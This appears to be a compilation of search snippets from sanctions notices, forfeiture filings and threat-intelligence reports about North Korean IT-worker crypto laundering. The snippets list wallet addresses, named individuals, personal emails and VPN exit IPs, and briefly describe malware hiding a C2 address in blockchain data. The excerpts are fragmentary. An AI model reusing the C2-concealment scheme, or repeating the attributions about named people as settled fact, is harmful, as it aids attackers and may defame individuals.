Mar 28 2022 (22-sz-6) - 0xf3F2e9391b440526D538E904C0252421eeB4B61C - Seized Mar 28 2022 (22-sz-6) 0xninjadev.eth - 0x7066d17c140a64e770c7286def08c611a9cc78d4 - Seized Mar 28 2022 (22-sz-6) - 0x50e7f5d0f2ba91e002c7094d844d3a8ff187e204 - Seized Mar 28 2022 (22-sz-6) elonamusk -…","…https://etherscan.io/token/0x634e6cd45c38f84c5f362609e821d4b18612e9a2?a=0x7473a47da05403313789c43464608552402a888e - x.com/0xMuse9 - x.com/0xnightfly github.com/0xnightfly - x.com/0xopsdev github.com/0xopsdev - x.com/akratos_god github.com/kratos-te -…","…Digital Currency Address - ETH 0x747AFB5c7A7fc34B547cD0FDEbf9b91759C5a52b; Secondary sanctions risk: North Korea Sanctions Regulations, sections 510.201 and 510.210; Transactions Prohibited For Persons Owned or…","…• 0xA184f953376A3c76A72A37849591ac6D8e148083 • 0xF17Cd87f477acE0BBb6Fe452bB50619c42AB4D97 • 0x7492FbBb52e58A0c3E1315f9b77a6b24e6414835 3.…","…- Seized Jun 08 2022 (22-sz-13) - 0xf7bc1f442d436afe5754b565bff030c281c9aa90 - Seized Jun 08 2022 (22-sz-13) vhurryharry.eth - 0x7492fbbb52e58a0c3e1315f9b77a6b24e6414835 - Seized Jun 08 2022 (22-sz-13) - 0x44a9dac239201def01b55dc8122ce1dc8bd55c72 - Seized Jun 08 2022 (22-sz-13) injoker.eth -…","…Digital Currency Address - ETH 0x76EA76CA4Eb727f18956aB93445a94c5280412B9; alt.…","The on-chain address the report gives for the GitHub account 0xOpsDev.","…Virtual currency seized from unhosted virtual currency addresses 0x815F335f976301f496167bfeF237f0622F92ac38 and 0x81c4d8816b29147c542dDE87485608204690Acf2 during the execution of seizure warrant 22 - sz - 19 (collectively referred to herein as…","…- Seized Mar 28 2022 (22-sz-6) - 0x81c4d8816b29147c542dDE87485608204690Acf2 - Frozen Tether Aug 30 2022 (22-sz-19) - 0x815F335f976301f496167bfeF237f0622F92ac38 - Frozen Tether Aug 30 2022 Seized (22-sz-19) - 0x511b9ed0b7ef9dfad519f398fdfbdf6af8356780 - Lu Huaying (OTC 1) -…","…Virtual currency seized from unhosted virtual currency addresses 0x815F335f976301f496167bfeF237f0622F92ac38 and 0x81c4d8816b29147c542dDE87485608204690Acf2 during the execution of seizure warrant 22 - sz - 19 (collectively referred to herein as the “September 2022 Seized Property”) : Asset…","…- Seized Mar 28 2022 (22-sz-6) - LKm8pewKd68MN9Rk6mAeNqSNFovvsLtCz8 - Seized Mar 28 2022 (22-sz-6) - 0x81c4d8816b29147c542dDE87485608204690Acf2 - Frozen Tether Aug 30 2022 (22-sz-19) - 0x815F335f976301f496167bfeF237f0622F92ac38 - Frozen Tether Aug 30 2022 Seized (22-sz-19) -…","…#### Kyonghung IT - 0x82ce61d10044cc0ea23215cc4b334ff0937af73c - gitstar333@hotmail.com - PayPal account used by Kyonghung IT - kang19791110@hotmail.com PayPal account used by Kyonghung IT, held under…","…Signer - 0x6c7137b2af2515e57677267062bd53c12c15a410 Shezmu Safe - 0x454cD1e89df17cDB61D868C6D3dBC02bC2c38a17 Signer - 0x847a992c0317c6a69b3dbaca494c6ec5a0842317 Shezmu Safe - 0x9e66CC61d79bAb676C761024850De05a397Fc69e Signer - 0xCdFe7F0C70A59FC3c67500b16E8E6b4c2a6A6dE3 Signer -…","…actor s then swapped the SOL for Tether (USDT) and Ether (ETH) and moved the USDT and ETH from 5ndLnEY to the following addresses: 0x84Ad3Ad89CC96e82EE1D57151fDbDcaA823e6aCc (“ Defendant Property 1 ”) 0xD7AD5a1db7739C01d9B4471c5B9ffb871F625941 (“ Defendant Property 2 ”)…","…• 0x44A9DaC239201DeF01B55dC8122cE1Dc8BD55C72 • 0x864C8ef839DD3859820BC6BcE450Aee43F938178 • 0x21A2CF2b1E84d9E9a38389F797F6087d94Ed3d86 • 0xf7bC1F442d436AFe5754b565bff030c281c9Aa90 •…","…- Seized Jun 08 2022 (22-sz-13) - 0x44a9dac239201def01b55dc8122ce1dc8bd55c72 - Seized Jun 08 2022 (22-sz-13) injoker.eth - 0x864c8ef839dd3859820bc6bce450aee43f938178 - Seized Jun 08 2022 (22-sz-13) - 0xf17cd87f477ace0bbb6fe452bb50619c42ab4d97 - Seized Jun 08 2022 (22-sz-13) arthlino -…","…107.150.38.250 // AstrillVPN exit node IPv4: 206.217.134.34 // AstrillVPN exit node IPv4:199.168.112.175 // AstrillVPN exit node 0x8953B9661339a48f4E6408aA1B359CD49F3A6CAd 0xA3D6938f152C47A411263573Bb3AF324C25A8eba 0xB26A7C7EA6D75956EbD8c5D294524903b1cf13D0 Further Reading ANY.RUN Blog: Smile,…","…107.150.38.250 // AstrillVPN exit node IPv4: 206.217.134.34 // AstrillVPN exit node IPv4:199.168.112.175 // AstrillVPN exit node 0x8953B9661339a48f4E6408aA1B359CD49F3A6CAd 0xA3D6938f152C47A411263573Bb3AF324C25A8eba 0xB26A7C7EA6D75956EbD8c5D294524903b1cf13D0 Keep Defenses Updated with Fresh Threat…","…Airdrop Receiver - 0xb41d7de2af854c17965c277feb5b55ecc596ccd8 - Seized Mar 28 2022 (22-sz-6) Kuma Inu Airdrop Receiver, Sends to Gate 0x90ba7da18600639e5ef6ac9679eb824bb2f73782 - 0x0a9afe0b6e04fd212ad7547e9798e0a7ca2ee370 - Seized Mar 28 2022 (22-sz-6) Kuma Inu Airdrop Receiver -…","…0x29bDfbf7D27462a2d115748ace2bd71A2646946c 0x52b4567c37b48d51198b25caa6e79e4fda6d9734 0x9149C1552e663AF9f1b6584857715a39a520a889 0xA88800CD213dA5Ae406ce248380802BD53b47647 0xBD612a3f30dcA67bF60a39Fd0D35e39B7aB80774 0xb0e5e8c2E7C89aCB19525234a025D3c27faa6519 0xeC5a810E…","…Digital Currency Address - ETH 0x95584C303FCd48AF5c6B9873015f2AD0ca84EaE3; Secondary sanctions risk: North Korea Sanctions Regulations, sections 510.201 and 510.210; Transactions Prohibited For Persons Owned or…","…operating out of Boten, Laos since at least 2023, had two Ethereum addresses designated: 0xb637f84b66876ebf609c2a4208905f9ddac9d075 0x95584C303FCd48AF5c6B9873015f2AD0ca84EaE3 Hoang Minh Quang, who coordinated financial transactions totaling more than $70,000 with Yun relating to IT services, had one Bitcoin…","…- Seized Jun 08 2022 (22-sz-13) animealine - 0xa7d2cf62487aa87ddba211d1e8dc7259be2a9a70 - Seized Mar 28 2022 (22-sz-6) - 0x95d179fb2f017faadd0013f730d949ac0ac739b6 - Seized Mar 28 2022 (22-sz-6) - 0xfce7c3c7717f93389577972485142e928f231dad - Seized Mar 28 2022 (22-sz-6) -…","…Digital Currency Address - XBT 1FCNgfZWpYMeYhy9t18AAkTBu8AsdoAc1Z; Digital Currency Address - ETH 0x97b1043abd9e6fc31681635166d430a458d14f9c; alt.…","…(“ Defendant Property 21 ”) 0xDdb5DEd6c513747b8B831d7521E00c3202Bc08fd (“ Defendant Property 22 ”) 0x97BeCBB90ff30513e7984e3bdcE4863d03d59FC4 (“ Defendant Property 23 ”) 0x05C8A416aE8dB42B737a15c4C3FF5F5beF051FEf (“ Defendant Property 24 ”) 4 The remaining…","…Digital Currency Address - ETH 0x9Be599d7867f5E1a2D7Ec6dB9710dF2b98A15573; Secondary sanctions risk: North Korea Sanctions Regulations, sections 510.201 and 510.210; Transactions Prohibited For Persons Owned or…","…the Ethereum and Tron networks. Ethereum: 0xcB74874f1e06Fcf80A306e06e5379A44B488bA2D 0x0330070FD38Ec3bB94F58FA55D40368271E9e54A 0x9Be599d7867f5E1a2D7Ec6dB9710dF2b98A15573 Tron:…","…Shezmu Safe - 0x454cD1e89df17cDB61D868C6D3dBC02bC2c38a17 Signer - 0x847a992c0317c6a69b3dbaca494c6ec5a0842317 Shezmu Safe - 0x9e66CC61d79bAb676C761024850De05a397Fc69e Signer - 0xCdFe7F0C70A59FC3c67500b16E8E6b4c2a6A6dE3 Signer - 0xC026609D721C65CDd4EB10F93518f738F52d9e16 Signer + DPRK ITW -…","…• 0xdd344126c52478E8e1e7aad583E2332567Afd730 • 0x53C64EC686F8235954d1dF08cD975C337A8f24B2 • 0xa09a934BA4440CFCbD0C2937a263351926919565 • 0xf3F2e9391b440526D538E904C0252421eeB4B61C 2.…","…28 2022 (22-sz-6) - 0xd4004f07d7b746103f2d9b4e5b5a540864526bec - Seized Mar 28 2022 (22-sz-6) 0xcno.eth, Kuma Inu Airdrop Receiver - 0xa09a934BA4440CFCbD0C2937a263351926919565 - Seized Mar 28 2022 (22-sz-6) - bc1qrzxvnl8lr4te4hgmz2e0nn97ypq2nyvvev2ges - Seized Mar 28 2022 (22-sz-6) -…","…• 0xf7bC1F442d436AFe5754b565bff030c281c9Aa90 • 0x3709d736F2615aE8e2f429e63aA3e1494b353D94 • 0xA184f953376A3c76A72A37849591ac6D8e148083 • 0xF17Cd87f477acE0BBb6Fe452bB50619c42AB4D97 • 0x7492FbBb52e58A0c3E1315f9b77a6b24e6414835 3.…","…Addresses in the Forfeiture Action - 0x21a2cf2b1e84d9e9a38389f797f6087d94ed3d86 - Seized Jun 08 2022 (22-sz-13) halfmooneye.eth - 0xa184f953376a3c76a72a37849591ac6d8e148083 - Seized Jun 08 2022 (22-sz-13) - 0xf7bc1f442d436afe5754b565bff030c281c9aa90 - Seized Jun 08 2022 (22-sz-13) vhurryharry.eth -…","…206.217.134.34 // AstrillVPN exit node IPv4:199.168.112.175 // AstrillVPN exit node 0x8953B9661339a48f4E6408aA1B359CD49F3A6CAd 0xA3D6938f152C47A411263573Bb3AF324C25A8eba 0xB26A7C7EA6D75956EbD8c5D294524903b1cf13D0 Keep Defenses Updated with Fresh Threat Intelligence While North Korean IT worker…","…28 2022 (22-sz-6) - 0x6c90b98b8c5c41d615300b9ed774f85b29078ca2 - Seized Mar 28 2022 (22-sz-6) ifeel.eth, Kuma Inu Airdrop Receiver - 0xa6ee3542b6ab3115be7e6445268161e0293ed7cf - Seized Mar 28 2022 (22-sz-6) Kuma Inu Airdrop Receiver - 0xb6bb7be73d453ed6d1141a08e444dac1356f0766 - Seized Mar 28 2022 (22-sz-6) Kuma…","…- Seized Jun 08 2022 (22-sz-13) arthlino - 0x3709d736f2615ae8e2f429e63aa3e1494b353d94 - Seized Jun 08 2022 (22-sz-13) animealine - 0xa7d2cf62487aa87ddba211d1e8dc7259be2a9a70 - Seized Mar 28 2022 (22-sz-6) - 0x95d179fb2f017faadd0013f730d949ac0ac739b6 - Seized Mar 28 2022 (22-sz-6) -…","…all above identities and payment addresses lead to two known consolidation wallets : 0x58225fed0714e5b9b235642eba7dae3714090a2d 0xa7f9555c34626eb81b64774356a40ca1a6a794ca These wallets serve as hubs in laundering pathways, taking in payments from U.S.…","…0x29bDfbf7D27462a2d115748ace2bd71A2646946c 0x52b4567c37b48d51198b25caa6e79e4fda6d9734 0x9149C1552e663AF9f1b6584857715a39a520a889 0xA88800CD213dA5Ae406ce248380802BD53b47647 0xBD612a3f30dcA67bF60a39Fd0D35e39B7aB80774 0xb0e5e8c2E7C89aCB19525234a025D3c27faa6519 0xeC5a810E589A42b2Ce9FCAaf07829fD72c0EE96E 0xE4d368c7…","…https://dune.com/nfbigjc = Ender + TokenFi + Floki - 0x44c2ab7db5299e008c586d52e9b6b193e4173471 (nonfungiblejc.eth) - 0xaa166aa0b46fb42fdaafb7ac351a00186d684837 - 0xb402b45dde5e15ce93809404c104c2fc4918c88c - 0xb1aa3027d1cbf578009bb3c09c84481b76ad43f1 (MAYBE!) - [Exposing DPRK's Cyber Syndicate…","…4fda6d9734 0x9149C1552e663AF9f1b6584857715a39a520a889 0xA88800CD213dA5Ae406ce248380802BD53b47647 0xBD612a3f30dcA67bF60a39Fd0D35e39B7aB80774 0xb0e5e8c2E7C89aCB19525234a025D3c27faa6519 0xeC5a810E589A42b2Ce9FCAaf07829fD72c0EE96E 0xE4d368c7Ee0F20F9Ac4a8DD4e51912F97f24d3d5 0x1C42DF20F9dE0A9b1493ba49bAf4Eef2eD617864 0x0540dacC…","…(nonfungiblejc.eth) - 0xaa166aa0b46fb42fdaafb7ac351a00186d684837 - 0xb402b45dde5e15ce93809404c104c2fc4918c88c - 0xb1aa3027d1cbf578009bb3c09c84481b76ad43f1 (MAYBE!) - [Exposing DPRK's Cyber Syndicate and Hidden IT…","…// AstrillVPN exit node 0x8953B9661339a48f4E6408aA1B359CD49F3A6CAd 0xA3D6938f152C47A411263573Bb3AF324C25A8eba 0xB26A7C7EA6D75956EbD8c5D294524903b1cf13D0 Keep Defenses Updated with Fresh Threat Intelligence While North Korean IT worker schemes primarily rely on identity fraud and…","…Exposure to centralised exchanges and many DeFi services. Crystal Intelligence Platform 0xB351954037Bd1c38d7677DB7FE429706c7b016dA - sent funds to TQdwohPCWqqfCUaCispyV1NaUZ1HgiJPUy , the gas funding address for the initial pointer addresses via bridges. Crystal…","…frozen by Tether on or about March 6, 2023, in unhosted virtual currency addresses 0x5707aA6944E357cEa1A25Ff991fB3A2E60268AB5 and 0xB389B4B4a8a6E267CA0712321cdca5c856ef8A72.…","…- OTC 2 - 0x4F47Bc496083C727c5fbe3CE9CDf2B0f6496270c - Hyon Sop Sim, Frozen Tether Mar 6 2023 - 0xb389b4b4a8a6e267ca0712321cdca5c856ef8a72 - Hyon Sop Sim, Frozen Tether Mar 6 2023 - 0x5707aa6944e357cea1a25ff991fb3a2e60268ab5 - Hyon Sop Sim, Frozen Tether Mar 6 2023 -…","…Ender + TokenFi + Floki - 0x44c2ab7db5299e008c586d52e9b6b193e4173471 (nonfungiblejc.eth) - 0xaa166aa0b46fb42fdaafb7ac351a00186d684837 - 0xb402b45dde5e15ce93809404c104c2fc4918c88c - 0xb1aa3027d1cbf578009bb3c09c84481b76ad43f1 (MAYBE!) - [Exposing DPRK's Cyber Syndicate and Hidden IT…","…Kuma Inu Airdrop Receiver - 0xb6bb7be73d453ed6d1141a08e444dac1356f0766 - Seized Mar 28 2022 (22-sz-6) Kuma Inu Airdrop Receiver - 0xb41d7de2af854c17965c277feb5b55ecc596ccd8 - Seized Mar 28 2022 (22-sz-6) Kuma Inu Airdrop Receiver, Sends to Gate 0x90ba7da18600639e5ef6ac9679eb824bb2f73782 -…","…The to field is a 20-byte value, and the malware reads the first six bytes as the C2 endpoint it needs: to = 0xB5D6959401bbb5D69594005000ff8C84e0b715b1 ││││││││││││ ││││││││└┴┴┴── Port: 01bb → 443 └┴┴┴┴┴┴┴────── IP: B5.D6.95.94 → 181.214.149.148 The remaining bytes hold a secondary…","…YUN, So'ng-kuk), Boten, Laos; DOB 27 Jul 1969; nationality Korea, North; Gender Male; Digital Currency Address - ETH 0xb637f84b66876ebf609c2a4208905f9ddac9d075; alt.…","…who led a group of North Korean IT workers operating out of Boten, Laos since at least 2023, had two Ethereum addresses designated: 0xb637f84b66876ebf609c2a4208905f9ddac9d075 0x95584C303FCd48AF5c6B9873015f2AD0ca84EaE3 Hoang Minh Quang, who coordinated financial transactions totaling more than $70,000 with Yun…","…Kuma Inu Airdrop Receiver - 0xa6ee3542b6ab3115be7e6445268161e0293ed7cf - Seized Mar 28 2022 (22-sz-6) Kuma Inu Airdrop Receiver - 0xb6bb7be73d453ed6d1141a08e444dac1356f0766 - Seized Mar 28 2022 (22-sz-6) Kuma Inu Airdrop Receiver - 0xb41d7de2af854c17965c277feb5b55ecc596ccd8 - Seized Mar 28 2022 (22-sz-6) Kuma…","…Digital Currency Address - ETH 0xb6f5ec1a0a9cd1526536d3f0426c429529471f40; Secondary sanctions risk: North Korea Sanctions Regulations, sections 510.201 and 510.210; Transactions Prohibited For Persons Owned or…","…1A2646946c 0x52b4567c37b48d51198b25caa6e79e4fda6d9734 0x9149C1552e663AF9f1b6584857715a39a520a889 0xA88800CD213dA5Ae406ce248380802BD53b47647 0xBD612a3f30dcA67bF60a39Fd0D35e39B7aB80774 0xb0e5e8c2E7C89aCB19525234a025D3c27faa6519 0xeC5a810E589A42b2Ce9FCAaf07829fD72c0EE96E 0xE4d368c7Ee0F20F9Ac4a8DD4e51912F97f24d3d5 0x1C42DF20…","…Shezmu Safe - 0x9e66CC61d79bAb676C761024850De05a397Fc69e Signer - 0xCdFe7F0C70A59FC3c67500b16E8E6b4c2a6A6dE3 Signer - 0xC026609D721C65CDd4EB10F93518f738F52d9e16 Signer + DPRK ITW - 0x601936c35fb4c6d8b472de6764c9f09ebf17711c - Company Paying Payroll - 0x68d283c978f08544ce9fa9e563186945663de7b1 -…","…In most cases they received funds from centralised exchange sources. Crystal Intelligence Platform - 0xC613B8f9824E6Dc7520F5f1027f4818FC64D8490 Show Me The Money Typically in blockchain investigations, cases involve trying to identify payment relationships between addresses.…","…CryptoUnity Deployer - 0xe6c2d1d7f6ee9e4ee9f8b865d9b5931c06c9c7d1 os:murano1205 - 0xca3b78831a101a6d6d0a153653483e3c9a90948f - 0xc8ad881deb9c02039795c111f2e661894b026ab0 (maybe?) - [Exposing DPRK's Cyber Syndicate and Hidden IT…","…0x44A33a4a822194d3C8402629932dd88B0FF49b09 CryptoUnity Deployer - 0xe6c2d1d7f6ee9e4ee9f8b865d9b5931c06c9c7d1 os:murano1205 - 0xca3b78831a101a6d6d0a153653483e3c9a90948f - 0xc8ad881deb9c02039795c111f2e661894b026ab0 (maybe?) - [Exposing DPRK's Cyber Syndicate and Hidden IT…","…DEVELOPMENT COMPANY), South Hamgyong, Korea, North; Pothonggang District, Pyongyang, Korea, North; Digital Currency Address - ETH 0xcB74874f1e06Fcf80A306e06e5379A44B488bA2D; alt.…","…established in 1982, had seven cryptocurrency addresses designated today across the Ethereum and Tron networks. Ethereum: 0xcB74874f1e06Fcf80A306e06e5379A44B488bA2D 0x0330070FD38Ec3bB94F58FA55D40368271E9e54A 0x9Be599d7867f5E1a2D7Ec6dB9710dF2b98A15573 Tron:…","…- Bunzz's DPRK IT Worker (2025) - 0x146ab113a6d69033cccdb4eaae61c496c2faaf05 - Bunzz's DPRK IT Worker (2025) - 0xcdd3429318a51b0094db7a172ea356cfd2ae06b3 - Bunzz's DPRK IT Worker (2025) - 0x1febc069606abfba5d021ed3768cb5d90c9407d5 - Jannik Villostas / 0xtomoon / janbuidls -…","…Signer - 0x847a992c0317c6a69b3dbaca494c6ec5a0842317 Shezmu Safe - 0x9e66CC61d79bAb676C761024850De05a397Fc69e Signer - 0xCdFe7F0C70A59FC3c67500b16E8E6b4c2a6A6dE3 Signer - 0xC026609D721C65CDd4EB10F93518f738F52d9e16 Signer + DPRK ITW - 0x601936c35fb4c6d8b472de6764c9f09ebf17711c - Company Paying…","…• 0xF9A d aC8658E08893fB4E91c1062e471 eb11Cb6c7 • 0xCF3f54b780aC180Ed57F3227C96BCF9B2FD7415A • 0xF9A d aC8658E08893fB4E91c1062e471eb11Cb6c7 The OTC trader then sent deposits to China UnionPay accounts registered to other…","…companies. ![](./eujin-ong.jpg) - ![](./X_2025-11-22_euj1n0ng.png) #### \"Zhang Meihong\" to China Accts - 0xCF3f54b780aC180Ed57F3227C96BCF9B2FD7415A - 0xF9AdaC8658E08893fB4E91c1062e471eb11Cb6c7 > Some DPRK cyber actors also maintain their own accounts at Chinese financial institutions…","…Digital Currency Address - ETH 0xd04E33461FEA8302c5E1e13895b60cEe8AEfda7F; alt.…","…- Seized Mar 28 2022 (22-sz-6) 0xJun, jun.eth - 0x294662cca316061a5942c7be3191b96318606781 - Seized Mar 28 2022 (22-sz-6) - 0xd4004f07d7b746103f2d9b4e5b5a540864526bec - Seized Mar 28 2022 (22-sz-6) 0xcno.eth, Kuma Inu Airdrop Receiver - 0xa09a934BA4440CFCbD0C2937a263351926919565 - Seized Mar 28 2022…","…the USDT and ETH from 5ndLnEY to the following addresses: 0x84Ad3Ad89CC96e82EE1D57151fDbDcaA823e6aCc (“ Defendant Property 1 ”) 0xD7AD5a1db7739C01d9B4471c5B9ffb871F625941 (“ Defendant Property 2 ”) 0x05ae4747262f351eC861355987E8ED58a78F10Ca (“ Defendant Property 3 ”)…","…• 0x3269C4C05356E511BC447DA5C722e63f682243C9 • 0x67624c4C72B8989143510f9Ac09A58007bf79676 • 0xdd344126c52478E8e1e7aad583E2332567Afd730 • 0x53C64EC686F8235954d1dF08cD975C337A8f24B2 • 0xa09a934BA4440CFCbD0C2937a263351926919565 •…","…- Seized Mar 28 2022 (22-sz-6) zdao1.eth - 0x67624c4c72b8989143510f9ac09a58007bf79676 - Seized Mar 28 2022 (22-sz-6) - 0xdd344126c52478e8e1e7aad583e2332567afd730 - Seized Mar 28 2022 (22-sz-6) - 0x6c90b98b8c5c41d615300b9ed774f85b29078ca2 - Seized Mar 28 2022 (22-sz-6) ifeel.eth, Kuma Inu Airdrop…","…- 1FZU86w5G2yhgk8Vt2pyRZEkd24zeh8sh5 - Consolidaton 1Gfswj3FL4E5MWWkYzR2fc7pa1uRimgayq - 1 Hop from Vitaliy - $70k Dec 2024 - 0xe42e3086910496606e0f43916c7725bb47ddbcee - Bunzz's DPRK IT Worker (2025) - 0x146ab113a6d69033cccdb4eaae61c496c2faaf05 - Bunzz's DPRK IT Worker (2025) -…","…0x6188a9e76794e7cb337b8e5a2b91808ce34fc6d1 - 0x44A33a4a822194d3C8402629932dd88B0FF49b09 CryptoUnity Deployer - 0xe6c2d1d7f6ee9e4ee9f8b865d9b5931c06c9c7d1 os:murano1205 - 0xca3b78831a101a6d6d0a153653483e3c9a90948f - 0xc8ad881deb9c02039795c111f2e661894b026ab0 (maybe?) - [Exposing DPRK's…","…Eujin Ong / Eugene Ong - euj1n0ng - venus90725 - https://x.com/euj1n0ng/ - venus90725@hotmail.com - 0xe9F7E2fb257e28b47B7f3DE0D2c2A6005e8c0646 - 0x8e5E6B2684682eF789d5e28995aE48F18d19b613 - 0x2cfe906a2db457b4bed669a9fb6287c0fecb86a2 Paxful -…","…• 0x3709d736F2615aE8e2f429e63aA3e1494b353D94 • 0xA184f953376A3c76A72A37849591ac6D8e148083 • 0xF17Cd87f477acE0BBb6Fe452bB50619c42AB4D97 • 0x7492FbBb52e58A0c3E1315f9b77a6b24e6414835 3.…","…- Seized Jun 08 2022 (22-sz-13) injoker.eth - 0x864c8ef839dd3859820bc6bce450aee43f938178 - Seized Jun 08 2022 (22-sz-13) - 0xf17cd87f477ace0bbb6fe452bb50619c42ab4d97 - Seized Jun 08 2022 (22-sz-13) arthlino - 0x3709d736f2615ae8e2f429e63aa3e1494b353d94 - Seized Jun 08 2022 (22-sz-13) animealine -…","…• 0x53C64EC686F8235954d1dF08cD975C337A8f24B2 • 0xa09a934BA4440CFCbD0C2937a263351926919565 • 0xf3F2e9391b440526D538E904C0252421eeB4B61C 2.…","…- Seized Mar 28 2022 (22-sz-6) - 0xfce7c3c7717f93389577972485142e928f231dad - Seized Mar 28 2022 (22-sz-6) - 0xf3F2e9391b440526D538E904C0252421eeB4B61C - Seized Mar 28 2022 (22-sz-6) 0xninjadev.eth - 0x7066d17c140a64e770c7286def08c611a9cc78d4 - Seized Mar 28 2022 (22-sz-6) -…","…compromised WordPress sites Injected into compromised WordPress sites v3 keeps its config on Polygon, read through public RPCs Reads 0xf70730a4e5b89b6c6e02edaed582badf6465e9d9 through eight public Polygon RPCs, with a getVersion call so a new value reaches every site at once Windows and macOS instructions…","…- Seized Jun 08 2022 (22-sz-13) halfmooneye.eth - 0xa184f953376a3c76a72a37849591ac6d8e148083 - Seized Jun 08 2022 (22-sz-13) - 0xf7bc1f442d436afe5754b565bff030c281c9aa90 - Seized Jun 08 2022 (22-sz-13) vhurryharry.eth - 0x7492fbbb52e58a0c3e1315f9b77a6b24e6414835 - Seized Jun 08 2022 (22-sz-13) -…","…![](./X_2025-11-22_euj1n0ng.png) #### \"Zhang Meihong\" to China Accts - 0xCF3f54b780aC180Ed57F3227C96BCF9B2FD7415A - 0xF9AdaC8658E08893fB4E91c1062e471eb11Cb6c7 > Some DPRK cyber actors also maintain their own accounts at Chinese financial institutions for laundering purposes.…","…Digital Currency Address - ETH 0xFb3eFf152ea55D1BfA04Dbdd509A80fD7b72cdEB; alt.…","…- Jannik Villostas / 0xtomoon / janbuidls - 0x6f24bebcbfa23b7ee32894355ecbdbc24b520d9e - Jannik Villostas / 0xtomoon / janbuidls - 0xfb446394f4b55ffcfe1867cdbdbfe306c03b7dbb - melonman913 - 0x6b31ada73da66bb0b889d60ad5ae968a0e7fa1a9 - melonman913 - bc1q6vkncljcldz9pdxdn9g3qkc4hct3gn2edx6wct - melonman913 -…","…- Seized Mar 28 2022 (22-sz-6) - 0x95d179fb2f017faadd0013f730d949ac0ac739b6 - Seized Mar 28 2022 (22-sz-6) - 0xfce7c3c7717f93389577972485142e928f231dad - Seized Mar 28 2022 (22-sz-6) - 0xf3F2e9391b440526D538E904C0252421eeB4B61C - Seized Mar 28 2022 (22-sz-6) 0xninjadev.eth -…","…Digital Currency Address - ETH 0xFda1Ec4A6178d4916b001a065422D31EBE5F62FF; alt.…","…- Seized Mar 28 2022 (22-sz-6) sl4rk.eth - 0x53c64ec686f8235954d1df08cd975c337a8f24b2 - Seized Mar 28 2022 (22-sz-6) - 0xfe035df35c6fe5578ede6267883638db7634de82 - Seized Mar 28 2022 (22-sz-6) zdao1.eth - 0x67624c4c72b8989143510f9ac09a58007bf79676 - Seized Mar 28 2022 (22-sz-6) -…","…or indirectly, the Government of North Korea. ## 1HmqvgSXUVES1jn4TQPzk9dxo1NE8wim2T - Vitaliy Sergeyevich Andreyev's HTX Deposit Address 14WvJZtmWfqdKQMxkfmEzk5rQBESvg63qR - 1 Hop from Vitaliy - $30k - Dec 2024 - 5AvpMGYy2WxCMoaswmLfFdKPSMDxwZomPVDAdzE3A6vE - Mario Suparat / Chris Jin / devbamboo15 -…","…/ Leon Lin / leonxdev1 - - 13DjGT8rQqfSrTQ9u8T7LXHFQEoiFxEewh - Consolidaton - - 17NtMaXTaN8JV4doHewx4qpJ7ZxcfbE14f - Consolidaton - - 16JW3bVMu8RXPdf3p9iBeosK8q3ZUKe3H8 - Consolidaton - - 1FZU86w5G2yhgk8Vt2pyRZEkd24zeh8sh5 - Consolidaton 1Gfswj3FL4E5MWWkYzR2fc7pa1uRimgayq - 1 Hop from Vitaliy - $70k Dec…","…• 1Gog6U87U f ved6ND9K r uyNtjWwTKcV7Z y w • 1Lem4GDPWjJNCtTTFby7oVVKv8sK4A4Pza • 1AV3VxCj213AqNMNxFhkyvpg6MVxN4C1cu • 14WSYAYvf6xSSiUDvpY1H7Q a javed4sP81 • 1MzC1ee87XLChJWJzKJGVi98ckAQedsGkP In early 2019, according to blockchain…","…North; DOB 25 Apr 1965; POB North Pyongan Province, North Korea; nationality Korea, North; Gender Male; Digital Currency Address - XBT 1D6gG9iKEhPitTcWRJiniuj1jYM2hNeAfJ; alt.…","…- Consolidaton - - 17NtMaXTaN8JV4doHewx4qpJ7ZxcfbE14f - Consolidaton - - 16JW3bVMu8RXPdf3p9iBeosK8q3ZUKe3H8 - Consolidaton - - 1FZU86w5G2yhgk8Vt2pyRZEkd24zeh8sh5 - Consolidaton 1Gfswj3FL4E5MWWkYzR2fc7pa1uRimgayq - 1 Hop from Vitaliy - $70k Dec 2024 - 0xe42e3086910496606e0f43916c7725bb47ddbcee -…","…- Consolidaton - - 16JW3bVMu8RXPdf3p9iBeosK8q3ZUKe3H8 - Consolidaton - - 1FZU86w5G2yhgk8Vt2pyRZEkd24zeh8sh5 - Consolidaton 1Gfswj3FL4E5MWWkYzR2fc7pa1uRimgayq - 1 Hop from Vitaliy - $70k Dec 2024 - 0xe42e3086910496606e0f43916c7725bb47ddbcee - Bunzz's DPRK IT Worker (2025) -…","…13687 for having acted or purporting to act for or on behalf of, directly or indirectly, the Government of North Korea. ## 1HmqvgSXUVES1jn4TQPzk9dxo1NE8wim2T - Vitaliy Sergeyevich Andreyev's HTX Deposit Address 14WvJZtmWfqdKQMxkfmEzk5rQBESvg63qR - 1 Hop from Vitaliy - $30k - Dec 2024 -…","…Russia; DOB 29 Sep 1980; POB Vladivostok, Russia; nationality Russia; citizen Russia; Gender Male; Digital Currency Address - XBT 1HmqvgSXUVES1jn4TQPzk9dxo1NE8wim2T; Secondary sanctions risk: North Korea Sanctions Regulations, sections 510.201 and 510.210; Transactions Prohibited For Persons Owned or…","…involving DPRK cyber actors: • 1MW8Q j ahh2YXovXpbhDcXAN8MEEL2A u n4n • 1Gog6U87U f ved6ND9K r uyNtjWwTKcV7Z y w • 1Lem4GDPWjJNCtTTFby7oVVKv8sK4A4Pza • 1AV3VxCj213AqNMNxFhkyvpg6MVxN4C1cu • 14WSYAYvf6xSSiUDvpY1H7Q a javed4sP81 • 1MzC1ee87XLChJWJzKJGVi98ckAQedsGkP…","…DPRK cyber actors exchanged BTC for Chinese y uan deposits into DPRK-controlled bank accounts. Wu’s b itcoin address was 1MzC1ee87XLChJWJzKJGVi98ckAQedsGkP . During this exchange, W u made payments to several Chinese bank accounts, listed in Annex 4 ( See Annex 4 ) . 153 146…","…Ethereum 0x40e98FeEEbaD7Ddb0F0534Ccaa617427eA10187e Bitcoin 3LU8wRu4ZnXP4UM8Yo6kkTiGHM9BubgyiG Bitcoin 39idqitN9tYNmq3wYanwg3MitFB5TZCjWu Bitcoin 3AAUBbKJorvNhEUFhKnep9YTwmZECxE4Nk Action : integrate these IoFCs into transaction monitoring systems and block or flag any…","…cryptocurrency heists and are currently holding those funds in following bitcoin addresses: 3LU8wRu4ZnXP4UM8Yo6kkTiGHM9BubgyiG 39idqitN9tYNmq3wYanwg3MitFB5TZCjWu 3AAUBbKJorvNhEUFhKnep9YTwmZECxE4Nk 3PjNaSeP8GzLjGeu51JR19Q2Lu8W2Te9oc 3NbdrezMzAVVfXv5MTQJn4hWqKhYCTCJoB 